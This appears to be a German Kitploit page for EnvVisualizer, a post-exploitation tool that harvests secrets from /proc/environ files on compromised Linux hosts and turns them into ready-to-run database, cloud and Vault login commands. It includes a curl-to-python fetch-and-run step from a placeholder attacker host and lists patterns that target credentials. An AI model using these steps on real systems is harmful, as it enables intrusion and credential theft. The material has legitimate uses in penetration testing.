EnvVisualizer — /proc/self/environ auf kompromittierten Linux-Boxen parsen und visualisieren — kategorisiert Umgebungsvariablen nach Tech-Stack (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker usw.) und generiert nach Schweregrad bewertete Erkenntnisse mit sofort ausführbaren Befehlen | Kitploit

EnvVisualizer

___________           ____   ____.__                    .__  .__                     
\_   _____/ _______  _\   \ /   /|__| ________ _______  |  | |__|_______ ___________ 
 |    __)_ /    \  \/ /\   Y   / |  |/  ___/  |  \__  \ |  | |  \___   // __ \_  __ \
 |        \   |  \   /  \     /  |  |\___ \|  |  // __ \|  |_|  |/    /\  ___/|  | \/
/_______  /___|  /\_/    \___/   |__/____  >____/(____  /____/__/_____ \\___  >__|   
        \/     \/                        \/           \/              \/    \/

Parst, kategorisiert und visualisiert /proc/self/environ auf kompromittierten Linux-Maschinen.
Verwandelt eine Wand aus verschmolzenem Umgebungsvariablen-Text in strukturierte, farbcodierte Intel — in Sekunden.

USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi

============================================================================
  EnvVisualizer — /proc/self/environ  (32 variables)
============================================================================

── Identity  (4) ───────────────────────────────────────────────────────────
  HOME                                 /home/dev
  LOGNAME                              dev
  SHELL                                /bin/bash
  USER                                 dev

── Paths & Dirs  (10) ──────────────────────────────────────────────────────
  PATH
      • /home/dev/projects/store1/node_modules/.bin
      • /home/dev/projects/node_modules/.bin
      • /usr/local/sbin
      • /usr/local/bin
      • /usr/sbin
      • /usr/bin
      • /sbin
      • /bin
      • /snap/bin
  PWD                                  /home/dev/projects/store1
  npm_config_cache                     /home/dev/.npm
  npm_execpath                         /usr/share/nodejs/npm/bin/npm-cli.js

── NPM / Node  (12) ────────────────────────────────────────────────────────
  NODE                                 /usr/bin/node
  npm_command                          run-script
  npm_config_user_agent                npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
  npm_lifecycle_script                 nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  npm_package_json                     /home/dev/projects/store1/package.json

── System  (6) ─────────────────────────────────────────────────────────────
  COLOR                                0
  EDITOR                               vi
  INVOCATION_ID                        abc0ab20c7dd498792d8be51c591071a
  JOURNAL_STREAM                       8:6005
  LANG                                 C.UTF-8
  SYSTEMD_EXEC_PID                     881

── Pentest Insights ────────────────────────────────────────────────────────
  ▶  Node.js debugger exposed → 127.0.0.1:9229  (try: node-inspector / chrome://inspect)
  ▶  Home dir: /home/dev
  ▶  Shell: /bin/bash
  ▶  npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  ▶  npm_lifecycle_event = watch

# On the attacker machine — host it
python3 -m http.server 8080

# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ

usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]

options:
  -h, --help            show this help message and exit
  -f PATH, --file PATH  Environ file path (null-byte delimited)
  -r STRING, --raw STRING
                        Raw concatenated environ string (copy-pasted, no null bytes)
  --no-rich             Force plain-text output

Methode	Befehl	Genauigkeit
Direktes Dateilesen	`python3 envvisualizer.py -f /proc/self/environ`	✅ Perfekt (Null-Byte-Split)
Stdin-Pipe	`cat /proc/self/environ \| python3 envvisualizer.py`	✅ Perfekt (Null-Byte-Split)
Eingefügter String	`python3 envvisualizer.py -r 'USER=dev...'`	✅ Gut (Zwei-Klassen-Heuristik)
Keine Argumente (Demo)	`python3 envvisualizer.py`	✅ Perfekt (eigener Prozess)

# Current process
python3 envvisualizer.py -f /proc/self/environ

# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ

# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ

Kategorie	Typische Variablen
🔐 Security / Auth	`SSH_`, `SUDO_`, alles was auf `TOKEN`, `KEY`, `SECRET`, `PASSWORD`, `CREDENTIAL`, `CERT` passt
👤 Identity	`USER`, `LOGNAME`, `HOME`, `SHELL`, `UID`, `GID`
🗄 Database	`PG`, `MYSQL_`, `MONGO`, `REDIS_`, `DATABASE_URL`, `DB_`, `ELASTIC`, `CASSANDRA_`, `SQLALCHEMY_`
☁ Cloud / Infrastructure	`AWS_`, `GOOGLE_`, `AZURE_`, `ARM_`, `DOCKER_`, `KUBERNETES_`, `VAULT_`, `TF_`, `CLOUDFLARE_*`
🔄 CI/CD & VCS	`GITHUB_`, `GITLAB_`, `CI_`, `TRAVIS_`, `CIRCLE`, `JENKINS_`, `HEROKU_`, `BUILD_`
🔌 Third-party APIs	`STRIPE_`, `TWILIO_`, `SENDGRID_`, `SENTRY_`, `DD_`, `SLACK_`, `OPENAI_`, `ALGOLIA_`, `AUTH0_*`
🕸 Web Frameworks	`DJANGO_`, `FLASK_`, `RAILS_`, `SPRING_`, , , , , , ,

Schweregrad	Präfix	Bedeutung
`💀 CRITICAL`	`[!!!]`	Aktives Credential, Secret Key oder Master Key — unmittelbare Auswirkung
`⚠ HIGH`	`[!! ]`	Token, Debug-Modus oder exponierter Dienst — umsetzbarer Angriffspfad
`→ MEDIUM`	`[! ]`	Interessante Information, die bei der Eskalation helfen kann
`▶ INFO`	`[ * ]`	Allgemeiner Kontext über den Prozess und die Umgebung

Stack	Was erkannt wird
PostgreSQL	`PGPASSWORD` → erstellt automatisch `psql postgresql://user:pass@host/db`
MySQL / MariaDB	`MYSQL_ROOT_PASSWORD` / `MYSQL_PASSWORD` → erstellt automatisch `mysql`-Befehl
MongoDB	`MONGO_INITDB_ROOT_*` → erstellt automatisch `mongosh`-Befehl
Redis	`REDIS_PASSWORD` → erstellt automatisch `redis-cli -a`-Befehl
DB URLs	`DATABASE_URL`, `MONGODB_URI`, etc. → markiert eingebettete Credentials
AWS	Key-Paar → markiert als langfristig oder STS-temporär, schlägt `aws sts get-caller-identity` vor
GCP	`GOOGLE_APPLICATION_CREDENTIALS` → schlägt `gcloud auth activate-service-account` vor
Azure	`AZURE_CLIENT_SECRET` → markiert Tenant-ID + schlägt `az login --service-principal` vor
HashiCorp Vault	`VAULT_TOKEN` + `VAULT_ADDR` → schlägt `vault token lookup` vor
Kubernetes	Injizierter `KUBERNETES_SERVICE_HOST` → markiert Pod-Kontext, schlägt SA-Token-Lesen vor
Docker	`DOCKER_HOST` gesetzt → markiert Daemon-Exposition
GitHub / GitLab	Tokens → schlägt API-Validierungs-curl-Befehle vor
Heroku	`HEROKU_API_KEY` → markiert mit App-Namen
Stripe	Live `sk_live_` → CRITICAL; Test `sk_test_` → MEDIUM
Datadog	`DD_API_KEY` → markiert Zugriff auf Metriken/Logs/Traces

── Pentest Insights ─────────────────────────────────────────────────────────
  [!!!]  PostgreSQL password in env → psql postgresql://appuser:[email protected]:5432/production_db
  [!!!]  DATABASE_URL contains embedded credentials → postgresql://admin:[email protected]:5432/maindb
  [!!!]  MongoDB root credentials in env → mongosh -u admin -p 'mongoS3cret'
  [!!!]  AWS long-term credentials → KEY=AKIAIOSFODNN7EXAMPLE  (run: aws sts get-caller-identity)
  [!!!]  HashiCorp Vault token in env → vault token lookup  addr: http://vault.internal:8200
  [!!!]  Stripe LIVE secret key — production payment API access
  [!!!]  Rails master key in env — decrypts config/credentials.yml.enc
  [!! ]  Redis auth → redis-cli -h redis.internal -p 6379 -a 'r3disP@ss'
  [!! ]  Inside Kubernetes pod → service host: 10.96.0.1
  [!! ]  GitHub token in env → curl -H 'Authorization: token $GITHUB_TOKEN' ...
  [!! ]  Django DEBUG=True — full stack traces served to users
  [!! ]  JVM remote debugging enabled → -agentlib:jdwp=...  (try: jdb -attach <host>:<port>)
  [ * ]  Python venv active → /var/www/myapp/.venv

ASPNETCORE_*

APP_KEY/ENV/DEBUG

SECRET_KEY_BASE

MIX_ENV

NEXT_*

VITE_*

REACT_APP_*

Abhängigkeit	Version	Erforderlich
Python	≥ 3.8	Ja
rich	≥ 13.0	Nein (Plain-Text-Fallback)

Beliebteste

EnvVisualizer

Das Problem

Funktionen

Installation

Option 1 — Klonen und ausführen (empfohlen für Pentest-Umgebungen)

Option 2 — Als Systembefehl installieren

Option 3 — Einzeldatei-Drop (kein git erforderlich)

Anforderungen

Verwendung

Eingabemodi

Beispiele

Direkt aus proc lesen (beste Genauigkeit)

Über stdin pipen

Einen Rohstring einfügen (kopiert aus einer Web-Shell / RCE-Ausgabe)

Plain-Text-Ausgabe (keine rich-Abhängigkeit)

Ausgabekategorien

Pentest Insights

Erkennungen nach Tech-Stack

Beispielausgabe (Multi-Stack-Szenario)

Wie der String-Parser funktioniert

Lizenz